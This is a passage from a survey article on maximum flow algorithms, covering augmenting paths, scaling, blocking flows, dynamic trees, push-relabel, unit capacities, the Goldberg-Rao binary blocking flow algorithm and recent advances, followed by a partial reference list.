depot. For the minimum cut problem, we want to find the set of pipes of the
smallest total capacity such that removing the pipes disconnects the oil well
from the oil depot \(minimum cut\).

The maximum flow, minimum cut theorem says the maximum flow value is equal to
the minimum cut capacity. This fundamental theorem has many applications,
particularly in the design of maximum flow algorithms.

We distinguish between flow algorithms that are polynomial or strongly
polynomial. We denote the number of vertices and arcs in the input network by
_n_ and _m_ , respectively. For polynomial algorithms, the arc capacities are
integral, with _U_ denoting the largest capacity; capacities can be
represented by _O_\(log _U_\)-bit integers. \(In practice, it is reasonable to
assume capacities are integral; as implemented by computer hardware, even
floating point numbers are represented as integers.\) A polynomial algorithm
is one with a worst-case time bound polynomial in _n, m_ , and log _U_. For
many applications, algorithms manipulate numbers that fit in a machine word,
and elementary arithmetic operations take unit time. We assume this is the
case when stating polynomial bounds. A strongly polynomial algorithm is one
with a worst-case time bound polynomial in _n_ and _m_ , even if capacities
are arbitrary real numbers, assuming a computational model in which elementary
arithmetic operations on real numbers take unit time. Strongly polynomial
algorithms are more natural from a combinatorial point of view, as only their
arithmetic operation complexity depends on the input number size, and other
operation counts are independent of the size.

The first special-purpose algorithm for the maximum flow problem was the
augmenting path method developed by Ford and Fulkerson.14 This method is, in
general, not polynomial time but can be made so. One way to do this is through
scaling, as introduced by Dinic.11

Edmonds and Karp12 introduced the shortest augmenting path method, making the
Ford-Fulkerson method strongly polynomial. To define path lengths, the
Edmonds-Karp method uses the unit length function, which sets the length of
each arc to one. Edmonds and Karp note that other length functions can be used
but do not seem to lead to better time bounds. The key to the analysis is the
observation that the shortest augmenting path length is non-decreasing and
must eventually increase.

The blocking flow method augments along a maximal set of shortest paths by
finding a blocking flow. Such augmentation increases the shortest augmenting
path length and thereby speeds up the shortest augmenting path method.
Blocking flows are implicit in Dinic's algorithm10 and made explicit by
Karzanov,23 who also introduced a relaxation of flow called a "preflow" that
allows an algorithm to change the flow on a single arc instead of on an entire
augmenting path. Arc flow is updated through a push operation. Preflows allow
faster algorithms for finding blocking flows.

An interesting special case of the maximum flow problem involves all arcs
having unit capacities. As shown independently by Karzanov22 and Even and
Tarjan,13 the blocking flow algorithm in this case achieves better time bounds
than in the general case for two reasons: the number of blocking flow
computations is reduced, and the computations are faster—linear time in the
graph size.

The operations of a blocking flow algorithm can be divided into two parts:
those that manipulate distances and those that manipulate flows. In theory,
the latter dominate, motivating development of data structures that allow
changing flow values on a path more efficiently than one arc at a time. The
first such data structure was developed by Galil and Naamad.15 A few years
later, Sleator and Tarjan29,30 introduced the dynamic tree data structure,
allowing changing flow values on a path with _k_ arcs in _O_\(log _k_\) time.
This led to improvement in the theoretical time bound for finding a blocking
flow, making it almost linear.

Goldberg and Tarjan18 developed the push-relabel method as an alternative to
the blocking flow method.a It maintains a preflow and updates it through push
operations. It introduces the relabel operation to perform fine-grain updates
of the vertex distances. Push and relabel operations are local; that is, they
apply to a single arc and vertex, respectively. These fine-grain operations
provide additional flexibility that can be used to design faster algorithms.
The fastest general-purpose maximum flow codes are based on the push-relabel
method.7,16

For arbitrary real-valued capacities, the blocking flow problem can be solved
in _O_\(_m_ log\(_n_ 2/_m_\)\) time,19 giving an _O_\(_nm_ log\(_n_ 2/_m_\)\)
bound for the maximum flow algorithm. Note a decomposition of flows into paths
can have a size of Ω\(_nm_\). This makes _O_\(_nm_\) a natural target bound.
In 2013, Orlin27 developed an algorithm that achieves this bound.

* * *
> _The maximum flow, minimum cut theorem says the maximum flow value is equal
> to the minimum cut capacity._
* * *
The flow decomposition size is not a lower bound for computing maximum flows.
A flow can be represented in _O_\(_m_\) space, and dynamic trees can be used
to augment flow on a path in logarithmic time. Furthermore, the unit capacity
problem on a graph with no parallel arcs can be solved in _O_\(min\(_n_ 2/3,
<img src='img/Temp2_2544.jpg' alt='cacm5708_b.gif' />\)_m_\) time,13,22 which
is much better than _O_\(_nm_\). For a quarter century, there was a big gap
between the unit capacity case and the general case. The gap was narrowed by
Goldberg and Rao,17 who obtained an _O_\(min\(_n_ 2/3, <img
src='img/Temp2_2544.jpg' alt='cacm5708_b.gif' />\)_m_ log\(_n_ 2/_m_\) log
_U_\)-time algorithm for the problem with integral capacities.

To achieve this bound, Goldberg and Rao used a non-unit length function. In
combination with new design and analysis techniques, this leads to the binary
blocking flow algorithm that achieves the bound mentioned earlier. As the name
implies, the algorithm is based on blocking flows. No comparable bound for the
push-relabel method is known. This fact revives the theoretical importance of
the blocking flow method.

Here, we assume familiarity with basic graph algorithms, including breadth-
and depth-first search and have organized the article as follows: After
introducing basic definitions, we discuss the algorithms. Our presentation is
informal, including intuitive algorithm descriptions and the corresponding
time bounds, but omits technical details, which can be found in the
references.

Back to Top

### Background

The input to the maximum flow problem is \(_G, s, t, u_\), where _G_ = \(_V,
A_\) is a directed graph with vertex set _V_ and arc set _A, s_ ∈ _V_ is the
source, _t_ ∈ _V is_ the sink \(with _s_ ≠ _t_\), and _u: A_ ⇒ **R** + is the
strictly positive capacity function. We sometimes assume capacities are
integers and denote the largest capacity by _U_.

A flow _f_ is a function on _A_ that satisfies capacity constraints on all arcs and conservation constraints at all vertices except _s_ and _t_. The capacity constraint for _a_ ∈ _A_ is 0 ≤ _f_\(_a_\) ≤ _u_\(_a_\) \(flow does not exceed capacity\). The conservation constraint for _v_ is Σ\(_u,v_\)∈ _A_ _f_\(_u,v_\) = Σ\(_v,w_\)∈ _A_ _f_\(_v,w_\) \(the incoming flow is equal to the outgoing flow\). The flow value is the net flow into the sink: |_f_ | = Σ\(_v,t_\)∈ _A_ _f_\(_v,t_\) – Σ\(_t,v_\)∈ _A_ _f_\(_t,v_\). If |_f_ | is as large as possible, _f_ is a maximum flow. A cut is a bipartition of the vertices _S_ ∪ _T_ = _V_ with _s_ ∈ _S, t_ ∈ _T_.b The capacity of a cut is defined by _u_\(_S,T_\)=Σ _v_ ∈ _S,w_ ∈ _T_ ,\(_v,w_\)∈ _A_ _u_\(_S,T_\) \(the sum of capacities of arcs from _S_ to _T_\). The max-flow/min-cut theorem14 says the maximum flow value is equal to the minimum cut capacity. Figures 1 and 2 give an input network and a maximum flow on it, respectively.
Without loss of generality, we assume _G_ is connected. Then _m_ ≥ _n_ – 1 and
therefore _n_ \+ _m_ = _O_\(_m_\). We can also assume the graph has no
parallel arcs, since we can combine parallel arcs and add their capacities.

Back to Top

### Residual Graph and Augmenting Paths

An important notion for flow algorithms is a residual graph, encoding the
possible changes of flow on arcs in a way that facilitates algorithm design.
Suppose we have an arc _a_ = \(_v, w_\) with _u_\(_a_\) = 9 and _f_\(_a_\) =
4. We can then increase the flow on _a_ by up to five units without violating
the capacity constraint. Furthermore, we can decrease the flow on _a_ by up to
four units. We would like to interpret decreasing flow on an arc _a_ =
\(_v.w_\) as increasing flow on the reverse arc _a_ _R_ = \(_w, v_\).

Given a flow _f_ in _G_ , we define the residual graph _G_ _f_ = \(_V, A_
_f_\) as follows: _A_ _f_ contains arcs _a_ ∈ _A_ such that _f_\(_a_\) <
_u_\(_a_\) and arcs _a_ _R_ : _a_ ∈ _A_ such that _f_\(_a_\) > 0\. We call
these forward and reverse residual arcs, respectively. We define the residual
capacity _u_ _f_ to be _u_\(_a_\) – _f_\(_a_\) for the former and _f_\(_a_
_R_\) for the latter. For every arc _a_ ∈ _A, G_ _f_ contains the forward arc,
the reverse arc, or both. Figure 3 gives the residual graph for the flow in
Figure 2. Note the residual graph can have parallel arcs even if the input
graph is simple, as it can contain both an arc and its reversal.

A flow _g_ in _G_ _f_ defines the flow _f′_ in _G_ as follows: For a forward
arc _a_ ∈ _G_ _f_ _, f′_\(_a_\) = _f_\(_a_\) + _g_\(_a_\); for a reverse arc
_a_ ∈ _G_ _f_ _, f′_\(_a_ _R_\) = _f_\(_a_ _R_\) – _g_\(_a_\). Seeing that
_f′_ is a valid flow is straightforward.

An augmenting path is a path from _s_ to _t_ in _G_ _f_. Given an augmenting path _P_ , we can augment _f_ as follows: Let _δ_ be the minimum residual capacity of the arcs on _P_ and _g be_ the flow of value on _P_. The corresponding flow _f′_ on _G_ has |_f′_ | = |_f_ | + _δ_ > |_f_ |. An augmenting path can be found in _O_\(_m_\) time \(such as by using breadth- or depth-first search\).
Note that during an augmentation, at least one arc of _P_ has residual
capacity _δ_ before the augmentation and zero after the augmentation. We say
such an arc is saturated by the augmentation. Saturated arcs are deleted from
_G_ _f_. An arc _a_ is added to _G_ _f_ if _u_ _f_ \(_a_\) is zero before the
augmentation, and the augmentation increases the flow on _a_ _R_.

Using the max-flow/min-cut theorem, one can show a flow _f_ has maximum value
if and only if _G_ _f_ does not contain an augmenting path. This motivates the
augmenting path algorithm: while _G_ _f_ contains an augmenting path, find
such a path and augment the flow on it.

If capacities are integral, the augmenting path algorithm always terminates,
since each augmentation increases the flow value by at least one. This
observation, and the fact that the capacity of the cut \(\{_s_\}, _V_ –
\{_s_\}\) is _O_\(_nU_\), gives a pseudo-polynomial bound of _O_\(_nmU_\) on
the algorithm's running time. The bound is not polynomial because _U_ can be
exponential in the size of the problem input. If the capacities are real-
valued, the algorithm need not terminate. As we shall see later, variants of
this algorithm do run in polynomial time.

Back to Top

### Scaling

Scaling is one way to make the augmenting path algorithm polynomial-time if
the capacities are integral.

Recall that _U_ is the largest arc capacity and let _k_ = ⌈log2 _U_ ⌉ + 1, the
number of bits needed to represent capacities. For _i_ = 0, ...,_k_ , define
_u_ _i_\(_a_\) = ⌊ _u_\(_a_\)/2 _k–i_ ⌋. Note _u_ 0 ≡ 0, and for _i_ > 0, _u_
_i_ is defined by the _i_ most significant bits of _u_. The zero flow is
maximum for _u_ 0.

Given a maximum flow _f_ _i_ for capacities _u_ _i_ \(0 ≤ _i_ < _k_\), the
algorithm computes a maximum flow _f_ _i_ +1 for capacities _u_ _i_ +1 as
follows. Note _u_ _i_ +1 = 2 _u_ _i_ \+ _b_ _i_ +1, where _b_ _i_ +1\(_a_\) is
the \(_i_ \+ 1\)-st most significant bit of _u_\(a\). Thus _f_ = 2 _f_ _i_ is
a feasible flow for capacities _u_ _i_ +1. We start with _f_ and apply the
augmenting path algorithm to compute _f_ _i_ +1.

To bound the number of augmentations, consider a minimum cut \(_S, T_\) for capacities _u_ _i_. Since _f_ _f_ is a maximum flow, for every arc _a_ from _S_ to _T_ we have _u_ _i_\(_a_\) = _f_ _i_\(_a_\), and thus for the initial flow _f_ , we have _u_ _i_ +1\(_a_\) – _f_\(_a_\) ≤ 1. Therefore |_f_ | is within _m_ of maximum, and we need at most _m_ augmentations to compute _f_ _i_ +1 from _f_ _i_. The running time of the scaling algorithm is thus _O_\(_m_ 2 log _U_\).
Back to Top

### Shortest Augmenting Paths

Define the length of every arc in _G_ _f_ to be one, and suppose we always
choose a shortest augmenting path. This is natural, since breadth-first search
finds shortest augmenting paths and takes linear time.

Consider a shortest-path augmentation. Let _d_\(_v_\) denote the distance from
a vertex _v_ to _t_ in _G_ _f_ , and let _k_ = _d_\(_s_\). For an arc \(_v,
w_\) on the augmenting path, we have _d_\(_v_\) = _d_\(_w_\) + 1. Therefore
the reverse arc \(_w, v_\) is not on a path from _s_ to _t_ of length _k_ or
less. The augmentation deletes at least one arc on a path from _s_ to _t_ of
length _k_ and does not add any arcs on paths from _s_ to _t_ of length _k_ or
less. This observation leads to the key monotonicity property of the shortest
augmenting path algorithm: For every vertex _v_ , residual graph distances
from _s_ to _v_ and from _v_ to _t_ are non-decreasing.

The monotonicity property yields a strongly polynomial time bound. Each
augmentation saturates an arc on a path of the current shortest length.
Therefore, after at most _m_ augmentations, the distance from _s_ to _t_ must
increase. Initially, the distance is at least one, and if _t_ is reachable
from _s_ , the distance is at most _n_ – 1. The total number of augmentations
is thus _O_\(_nm_\). The time for one augmentation is _O_\(_m_\) to find the
augmenting path and proportional to the path length; that is, _O_\(_n_\) =
_O_\(_m_\) to modify the flow. This gives an _O_\(_nm_ 2\) bound on the
running time.

Back to Top

### Blocking Flow Method

Given a network _G_ with arc capacities, a flow _f_ in _G_ is blocking if
every _s_ -to-_t_ path in _G_ contains a saturated arc. Note _f_ need not be a
maximum flow, as there can be an _s_ -to-_t_ path in _G_ _f_ that will contain
the reverse of an arc of _G_ \(see Figure 4\). But a maximum flow is always a
blocking flow. As we shall see later, in an acyclic graph, blocking flows can
be found more quickly than maximum flows.

The blocking flow algorithm constructs an auxiliary network _G′_ _f_ = \(_V,
A′_ _f_\) where _A′_ _f_ contains all residual arcs belonging to some shortest
_s_ -to-_t_ path. Note if \(_v, w_\) ∈ _A′_ _f_ , then _d_\(_v_\) = _d_\(_w_\)
+ 1, so _A′_ _f_ is acyclic. _A′_ _f_ can be constructed in _O_\(_m_\) time
using breadth-first search. Suppose we compute a blocking flow _g_ in _A′_
_f_. Then _f_ \+ _g_ is a feasible flow in _G_. Furthermore, one can show the
_s_ -to-_t_ distance in _G_ _f_ +_g_ is greater than that in _G_ _f_. It
follows that a maximum flow can be computed in at most _n_ – 1 iterations,
where the time for an iteration is dominated by the blocking flow computation.

Dinic10 introduced an algorithm for finding blocking flows in acyclic graphs,
using depth-first search to find an augmenting path in _A′_ _f_ that augments
along the path and deletes saturated arcs from _A′_ _f_. The key to the
analysis is the observation that if depth-first search retreats from a vertex,
there is no path from the vertex to _t_ in _A′_ _f_ and the vertex can be
deleted. One can use this observation to show the running time of the
algorithm is proportional to _n_ plus the total length of the augmenting paths
found; the total length term dominates. As an augmenting path has _O_\(_n_\)
arcs and each augmentation saturates an arc, the running time of the blocking
flow algorithm is _O_\(_nm_\). This gives an _O_\(_n_ 2 _m_\) bound for
Dinic's maximum flow algorithm.

Back to Top

### Using Dynamic Trees

The running time of the blocking flow algorithm is dominated by changes of arc
flows that do not saturate the arc. A natural approach to improving the
running time bound is to use a data structure that allows one to make several
such changes in one data structure operation. This can be achieved by using a
data structure to remember non-saturated portions of the augmenting paths. The
dynamic tree data structure29,30 was developed for this purpose.

Intuitively, the dynamic tree blocking flow algorithm uses the data structure
to remember non-saturated portions of augmenting paths that may be reused
later. In particular, the saved paths are linked during the augmenting path
search, work that is amortized over the search for augmenting paths. Flow
augmentation is performed using dynamic tree operations, at the cost of the
logarithm of the corresponding augmenting path length. This application of
dynamic trees reduces the running time of the blocking flow algorithm from
_O_\(_nm_\) to _O_\(_m_ log _n_\). By restricting the maximum tree size and
using additional data structures, this bound can be further improved to
_O_\(_m log_\(_n_ 2/_m_\)\),19 yielding an _O_\(_nm log_\(_n_ 2/_m_\)\)
maximum flow algorithm.

Although dynamic trees yield the best worst-case bounds, they have so far not
been used in practical implementations because most practical instances are
relatively easy, and the constant factors in dynamic tree implementations are
relatively large.

Back to Top

### Push-Relabel Method

The blocking flow algorithm uses global operations \(such as building the
auxiliary network and augmenting along a path\). The push-relabel method uses
local operations. These fine-grain operations give the method more
flexibility, which can be used to make the method faster in practice.

Following Karzanov,23 the push-relabel method uses preflows. Preflows are like
flows, but the conservation constraints are relaxed: Σ\(_u, v_\)∈ _A_ _f_\(_u,
v_\) ≥ Σ\(_v,w_\)∈A _f_\(_v, w_\) for all _v_ ∈ _V_ – \{_s, t_\} \(the
incoming flow is at least the outgoing flow\). We define excess by _e_
_f_\(_v_\) =Σ\(_u,v_\)∈ _A_ _f_\(_u, v_\)–Σ\(_v,w_\)∈ _A_ _f_\(_v, w_\). A
vertex with excess can push some of it to its residual neighbor. Intuitively,
we want to push only to a neighbor that is closer to the sink. Karzanov23 uses
distances in the auxiliary network to determine where to push flow.

The push-relabel method replaces the distances by a valid labeling, a
relaxation of distances that can be updated locally. Given a flow _f_ , we say
a function _d_ : _V_ → _N_ is a valid labeling if _d_\(_t_\) = 0 and for every
\(_v, w_\) ∈ _A_ _f_ , we have _d_\(_v_\) ≤ _d_\(_w_\) + 1. One can show a
valid labeling gives lower bounds on distances to _t_. In particular, if
_d_\(_v_\) ≥ _n_ , then there is no path from _v_ to _t_ in _G_ _f_ , meaning
_v_ is on the source side of some minimum cut.

The push-relabel method maintains a preflow _f_ and a valid distance labeling
_d_ and updates them using operations push and relabel, respectively. We
describe these operations next; a full description of the algorithm can be
found in Goldberg and Tarjan.18

One way to start the push-relabel method is to saturate all arcs out of the
source by setting their flow values to the corresponding capacity values, and
to set _d_\(_s_\) = _n_ \(_t_ is not reachable from _s_\) and _d_\(_v_\) = 0
for _v_ ≠ _s_. This creates initial flow excesses on vertices adjacent to the
source. Intuitively, the method pushes flow excesses toward the sink and
relabels vertices with excess if the excess cannot be pushed toward the sink.
We say a vertex _v_ is active if _v_ ≠ _t_ and _e_ _f_ \(_v_\) > 0.

The push operation applies to an arc \(_v, w_\) if _v_ is active and
_d_\(_w_\) < _d_\(_v_\), or _w_ is closer to _t_ according to _d_. The
operation determines the maximum amount of flow that can be pushed, _δ_ =
min\(_e_ _f_ \(_v_\); _u_ _f_ \(_v, w_\)\) and pushes this amount of flow
along \(_v, w_\) by setting _u_ _f_ \(_v, w_\) = _u_ _f_ \(_v, w_\) – _δ, u_
_f_ \(_w, v_\) = _u_ _f_ \(_w, v_\) + _δ, e_ _f_ \(_v_\) = _e_ _f_ \(_v_\) –
_δ_ , and _e_ _f_ \(_w_\) = _e_ _f_ \(_w_\)+ _δ_. We say a push is saturating
if _δ_ = _u_ _f_ \(_v, w_\) and non-saturating otherwise. Note that a non-
saturating push gets rid of all the excess of _v;_ see Figure 5 for an example
of a non-saturating push operation.

The relabel operation applies to an active vertex _v_ such that no push
operation applies to an arc \(_v, w_\), or for all \(_v, w_\) ∈ _A_ _f_ _,
d_\(_v_\) ≤ _d_\(_w_\). The operation sets _d_\(_v_\)=min\{_n_ , 1 + min<img
src='img/Temp2_2543.jpg' alt='cacm5708_c.gif' /> _d_\(_w_\)\}. \(A vertex with
excess always has an outgoing residual arc.\) Note the relabel operation
always increases _d_\(_v_\); see Figure 6 for an example of a relabel
operation.

The time complexity of the push-relabel method is as follows. The total time
for relabeling operations is _O_\(_nm_\), and the time for saturating pushes
is _O_\(_nm_\) as well. The time for non-saturating pushes is _O_\(_n_ 2
_m_\); these operations dominate the running time bound, which is also
_O_\(_n_ 2 _m_\).

Note our description of the push-relabel method is generic; we have not
specified the rule to select the next active vertex to process. Some operation
orderings lead to better bounds. In particular, for the highest label push-
relabel algorithm, which always selects an active vertex with the highest
distance label to process next, the time for non-saturating pushes and the
overall time bound are _O_\(_n_ 2<img src='img/Temp2_2544.jpg'
alt='cacm5708_b.gif' />\).6 Using dynamic trees, one can get an _O_\(_nm_
log\(_n_ 2/_m_\)\) bound18 more simply than through the blocking flow method.

* * *
> _An interesting special case of the maximum flow problem involves all arcs
> having unit capacities._
* * *
The highest-label algorithm is also one of the most practical variants of the
push-relabel method. However, robust practical performance requires additional
heuristics. The push relabel method is very flexible, making it easy for the
algorithm designer to add heuristics. For example, one can restrict active
vertices to those with _d_\(_v_\) < _n_ and do post-processing to compute the
final flow. One can also do periodic backward breadth-first searches to
maximize _d_\(_v_\) values. See, for example, Cherkassky and Goldberg7 and
Goldberg.16

Back to Top

### Unit Capacities

Now consider the special case of the maximum flow problem in which all input
arc capacities are one. Since merging parallel arcs results in non-unit
capacities, we cannot assume the graph has no parallel arcs, so we consider
two cases—parallel arcs and no parallel arcs—in both of which one obtains
better bounds for Dinic's algorithm.

First, note that after an augmentation, all arcs on the augmenting path are
saturated. Therefore, an arc participates in at most one augmentation per
blocking flow, and the blocking flow algorithm runs in _O_\(_m_\) time.

Moreover, one can show the number of blocking flow computations is _O_\(<img
src='img/Temp2_2544.jpg' alt='cacm5708_b.gif' />\). To prove this bound, we
divide the maximum flow computation into two phases. In the first phase, the
_s_ -to-_t_ distance is less than <img src='img/Temp2_2544.jpg'
alt='cacm5708_b.gif' />. Since an augmentation by a blocking flow increases
the distance, the first phase consists of at most <img
src='img/Temp2_2544.jpg' alt='cacm5708_b.gif' /> augmentations. One can show
if the _s_ -to-_t_ distance is at least <img src='img/Temp2_2544.jpg'
alt='cacm5708_b.gif' />, the residual flow value is _O_\(<img
src='img/Temp2_2544.jpg' alt='cacm5708_b.gif' />\). Since an augmentation
decreases the value, the number of augmentations in the second phase is
_O_\(<img src='img/Temp2_2544.jpg' alt='cacm5708_b.gif' />\).

This analysis implies an _O_\(_m_ 3/2\) bound for the unit capacity problem.
If _G_ has no parallel arcs, one can also obtain an _O_\(_n_ 2/3 _m_\) bound,
which is better for dense graphs.

Back to Top

### Binary Blocking Flow Algorithm

The time bounds for the blocking flow and push-relabel algorithms are
Ω\(_nm_\) in the general case, while for unit capacities, the algorithm of
Dinic runs in _O_\(min\(_n_ 2/3, <img src='img/Temp2_2544.jpg'
alt='cacm5708_b.gif' />\)_m_\) time. Here, we discuss the intuition behind the
binary blocking flow algorithm of Goldberg and Rao,17 which narrows the gap
for the integral capacity case.

Instead of assigning unit length to every residual arc, the binary blocking
flow algorithm uses a zero-one length function, assigning zero length to the
arcs with large residual capacity and unit length to the arcs with small
residual capacity. The fact that arcs with unit length have small residual
capacity allows the algorithm to come close to the unit capacity time bound.

The algorithm maintains a flow _f_ and an upper bound _F_ on the difference
between the maximum flow value and the current flow value |_f_ |. The
algorithm proceeds in phases; each phase decreases _F_ by a factor of two. In
a phase, the value of _F_ remains constant except for the very end of the
phase, when it is decreased. A threshold parameter Δ, which is a function of
_F_ and thus remains constant during a phase, determines whether residual arcs
are large or small; large arcs have a residual capacity of at least 3Δ, and
the remaining ones are small.

As in the case of the unit length function, we define the auxiliary network
_A′_ _f_ to be the graph induced by the arcs on shortest _s_ -to-_t_ paths.
The algorithm repeatedly computes a blocking flow in _A′_ _f_ updating _A′_
_f_ before each computation, until _F_ decreases by a factor of two. The
decrease in _F_ happens if one either increases the flow by _F_ /2 or the _s_
-to-_t_ distance becomes sufficiently large. As in the unit capacity case, a
large _s-t_ distance implies a bound on the residual flow value.

This use of the binary length function leads to two problems that must be
addressed: First, _G′_ _f_ need not be acyclic \(it can contain cycles of
zero-length arcs\), and, second, an arc length can decrease from one to zero,
and, as a side effect, the _s_ -to-_t_ distance may fail to increase after a
blocking flow augmentation.

To deal with the first problem, the algorithm contracts strongly connected
components of _A′_ _f_ , looks for a blocking flow in the resulting acyclic
graph, and stops the blocking flow computation if the value of the flow being
computed reaches Δ. One can show that since each strongly connected component
is induced by large-capacity arcs, one can always route a flow of value Δ
through it. At the end of each iteration, we expand _A′_ _f_ and extend the
flow we found to _G_ _f_. One can show that a blocking flow in _A′_ _f_
extends to a blocking flow in _G_ _f_. This gives us two types of iterations:
ones that find a blocking flow and ones that find a flow of value Δ. The _s_
-to-_t_ distance increases in the former case and does not decrease in the
latter case.

* * *
> _The maximum flow problem is far from being completely understood, and new
> and improved algorithms continue to be discovered._
* * *
To deal with the second problem, one can show the arcs \(_v, w_\) that may
have their length decrease \(the special arcs\) have the property that the
residual capacity of \(_v, w_\) is at least 3Δ and the residual capacity of
\(_w, v_\) at least 2Δ. The algorithm contracts such arcs, assuring that after
an augmentation by a blocking flow, the _s_ -to-_t_ distance increases even if
these arc lengths decrease.

Using the dynamic-tree data structure, the binary flow algorithm runs in
_O_\(min\(_n_ 2/3, <img src='img/Temp2_2544.jpg' alt='cacm5708_b.gif' />\)_m_
log\(_n_ 2/_m_\)log _u_ time, which is within a log\(_n_ 2/_m_\) log _U_
factor of the best known upper bound for the unit capacity problem with no
parallel arcs.

Back to Top

### Conclusion

As mentioned here, a 2013 algorithm of Orlin27 achieves an _O_\(_nm_\)
strongly polynomial bound for the maximum flow problem, as well as an _O_\(_n_
2/log _n_\) bound for _m_ = _O_\(_n_\). This result is quite sophisticated and
uses a combination of ideas from maximum flow, minimum-cost flow, and dynamic
connectivity algorithms. In particular, Orlin uses the binary blocking flow
algorithm as a subroutine. His result closes a longstanding open problem of
the existence of an _O_\(_nm_\) maximum flow algorithm. However, the binary
blocking flow algorithm bounds suggest an _O_\(_nm_ /_n_ _∈_\) strongly
polynomial algorithm may exist.

The maximum flow problem is far from being completely understood, and new and
improved algorithms continue to be discovered. We would like to mention four
intriguing directions that have yielded new results: The first is to
generalize the push-relabel approach to allow the flow excess \(incoming minus
outgoing flow\) at a vertex to be arbitrary—positive, negative, or zero. Given
a residual arc \(_v, w_\) such that the excess at _v_ exceeds the excess at
_w_ , one can balance the arc by increasing its flow to either saturate the
arc or equalize the excesses at _v_ and _w_. The flow balancing algorithm31
starts with some initial flow \(such as zero flow\), dummy excesses of plus
infinity at _s_ and minus infinity at _t_ , and repeats arc-balancing steps
until all such steps move a sufficiently small amount of flow, then rounds the
flow to obtain an exact maximum flow. Although the running time of this
algorithm \(_O_\(_n_ 2 _m_ log _U_\)\) is not competitive with that of the
best algorithms, the method is simple and extends to give a very simple and
practical algorithm for a parametric version of the maximum flow
algorithm.2,31

Another approach that yields a fast practical algorithm for maximum flow
problems in computer-vision applications is that of Boykov and Kolmogorov,5
improving the basic augmenting path method by using bidirectional search to
find augmenting paths, in combination with a clever method for retaining
information from previous searches to speed up future ones. The Boykov-
Kolmogorov method does not augment on shortest paths and has not been proved
to be polynomial but can be modified to find exact shortest paths and to be
polynomial without sacrificing its practical performance, indeed improving it
in many cases. The resulting algorithm20 computes shortest augmenting paths
incrementally, using information from previous searches. Special techniques
have yielded fast maximum flow algorithms for planar graphs and for undirected
graphs; for the latest results, see Borradaile and Klein,3 Borradaile et al.,4
and Karger and Levine.21

A recent series of papers, including Christiano et al.,8 Kelner et al.,24 Lee
et al.,25 and Sherman,28 have studied the problem of finding an approximately
maximum flow \(within a factor of 1 + _∈_ of maximum\) in undirected graphs
and culminates in a near-linear time algorithm. These papers used linear
algebraic techniques and electrical flows. Building on this work, Madry26 in
2013 obtained a breakthrough result, an exact algorithm for unit capacity
flows in directed graphs running in _Õ_\(_m_ 10/7\) time. This improves the
classical _O_\(min\(_n_ 2/3, _m_ 1/2\)_m_\) bound for the problem, suggesting
that better bounds for the exact capacitated maximum flow problem in directed
graphs may be possible. Whether these ideas can be used to find exact maximum
flows in directed graphs with integral capacities is an intriguing open
question. In summary, progress on maximum flow algorithms has been made for
more than half a century, and continues.

Back to Top

### Acknowledgment

Robert E. Tarjan was supported by National Science Foundation grant
CCF-0830676 and U.S.-Israel Binational Science Foundation Grant 2006204. Some
of his work was done while visiting Stanford University and supported by an
Air Force Office of Scientific Research Multidisciplinary University Research
Initiative grant.

Back to Top

### References

1\. Ahuja, R.K., Magnanti, T.L., and Orlin, J.B. _Network Flows: Theory,
Algorithms, and Applications_. Prentice-Hall, Inc., Upper Saddle River, NJ,
1993.

2\. Babenko, M.A., Derryberry, J., Goldberg, A.V., Tarjan, R.E., and Zhou, Y.
Experimental evaluation of parametric max-flow algorithms. In _Proceedings of
the Sixth Workshop on Experimental Algorithms, Lecture Notes in Computer
Science_. Springer, Heidelberg, Germany, 2007, 256–269.

3\. Borradaile, G. and Klein, P.N. An _O_\(_n_ log _n_\) algorithm for maximum
st-flow in a directed planar graph. _Journal of the ACM 56_ , 2 \(2009\),
1–34.

4\. Borradaile, G., Klein, P.N., Mozes, S., Nussbaum, Y., and Wulff-Nilsen, C.
Multiple-source multiple-sink maximum flow in directed planar graphs in near-
linear time. In _Proceedings of the 52nd Annual IEEE Symposium on Foundations
of Computer Science_. IEEE Press, New York, 2011, 170–179.

5\. Boykov, Y. and Kolmogorov, V. An experimental comparison of min-cut/max-
flow algorithms for energy minimization in vision. _IEEE Transactions on
Pattern Analysis and Machine Intelligence 26_ , 9 \(2004\), 1124–1137.

6\. Cheriyan, J. and Maheshwari, S.N. Analysis of preflow push algorithms for
maximum network flow. _SIAM Journal on Computing 18_ , 6 \(1989\), 1057–1086.

7\. Cherkassky, B.V. and Goldberg, A.V. On implementing push-relabel method
for the maximum flow problem. _Algorithmica 19_ , 4 \(1997\), 390–410.

8\. Christiano, P., Kelner, J.A., Madry, A., Spielman, D.A., and Teng, S-H.
Electrical flows, laplacian systems, and faster approximation of maximum flow
in undirected graphs. In _Proceedings of the Annual ACM Symposium on Theory of
Computing_. ACM Press, New York, 2011, 273–282.

9\. Dantzig, G.B. Application of the simplex method to a transportation
problem. In _Activity Analysis and Production and Allocation_ , T.C. Koopmans,
Ed. John Wiley & Sons, Inc., New York, 1951, 359–373.

10\. Dinic, E.A. Algorithm for solution of a problem of maximum flow in
networks with power estimation. _Soviet Mathematical Docladi 11_ \(1970\),
1277–1280.

11\. Dinic, E.A. Metod porazryadnogo sokrashcheniya nevyazok i transportnye
zadachi \[Excess scaling and transportation problems\]. In _Issledovaniya po
Diskretnoi_. Matematike Nauka, Moscow, Russia, 1973.

12\. Edmonds, J. and Karp, R.M. Theoretical improvements in algorithmic
efficiency for network flow problems. _Journal of the ACM 19_ , 2 \(1972\),
248–264.

13\. Even, S. and Tarjan, R.E. Network flow and testing graph connectivity.
_SIAM Journal on Computing 4_ , 4 \(1975\), 507–518.

14\. Ford, Jr., L.R. and Fulkerson, D.R. Maximal flow through a network.
_Canadian Journal of Mathematics 8_ \(1956\), 399–404.

15\. Galil, Z. and Naamad, A. An _O_\(_EV_ log2 _V_\) algorithm for the
maximal flow problem. _Journal of Computer and System Sciences 21_ , 2
\(1980\), 203–217.

16\. Goldberg, A.V. Two-level push-relabel algorithm for the maximum flow
problem. In _Proceedings of the Fifth Conference on Algorithmic Aspects in
Information Management, Volume 5564 of Lecture Notes in Computer Science_.
Springer, Heidelberg, Germany, 2009, 212–225.

17\. Goldberg, A.V. and Rao, S. Beyond the flow decomposition barrier.
_Journal of the ACM 45_ , 5 \(1998\), 753–782.

18\. Goldberg, A.V. and Tarjan, R.E. A new approach to the maximum flow
problem. _Journal of the ACM 35_ , 4 \(1988\), 921–940.

19\. Goldberg, A.V. and Tarjan, R.E. Finding minimum-cost circulations by
successive approximation. _Mathematics of Operations Research 15_ , 3
\(1990\), 430–466.

